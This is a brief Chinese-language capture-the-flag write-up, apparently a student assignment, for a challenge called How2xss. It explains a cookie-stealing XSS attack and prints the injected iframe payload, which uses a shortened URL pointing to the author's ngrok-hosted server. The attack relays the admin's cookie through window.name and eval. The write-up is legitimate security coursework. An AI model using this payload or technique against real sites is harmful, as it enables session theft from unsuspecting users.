**郭又嘉**

**AosoraKuo**

**B06705020**

**How2xss**

從測試中得知HACK ME只會印出第一個輸入的各字母

先用伺服器架設一個php網站

再利用ngrok將他導至外網上

然後在HACK ME那裏輸入<IFRAME src=/\bit.ly&#47ZXQNmz>

其中src後面是縮網址指向我們的網站

而iframe生成一個小框框不過是在同個window上

裡面有寫好的javascript code會附在howtoxss.php

這個原理是先跳到創造出來frame的裡面將cookie用fetch存到window.name

Window.name只要window不關起來都不會變

再用window.location跳轉到框框外面HACK ME

再用事先寫好的程式碼執行eval(name) 取得cookie

Report to admin的URL就是把<IFRAME src=/\bit.ly&#47ZXQNmz>輸入之後

把上面的URL複製貼上

然後下面的proof of work就寫一個窮舉的程式碼解出來(test2.py)

再送出之後就可以在自己伺服器的GET $x後面看到flag了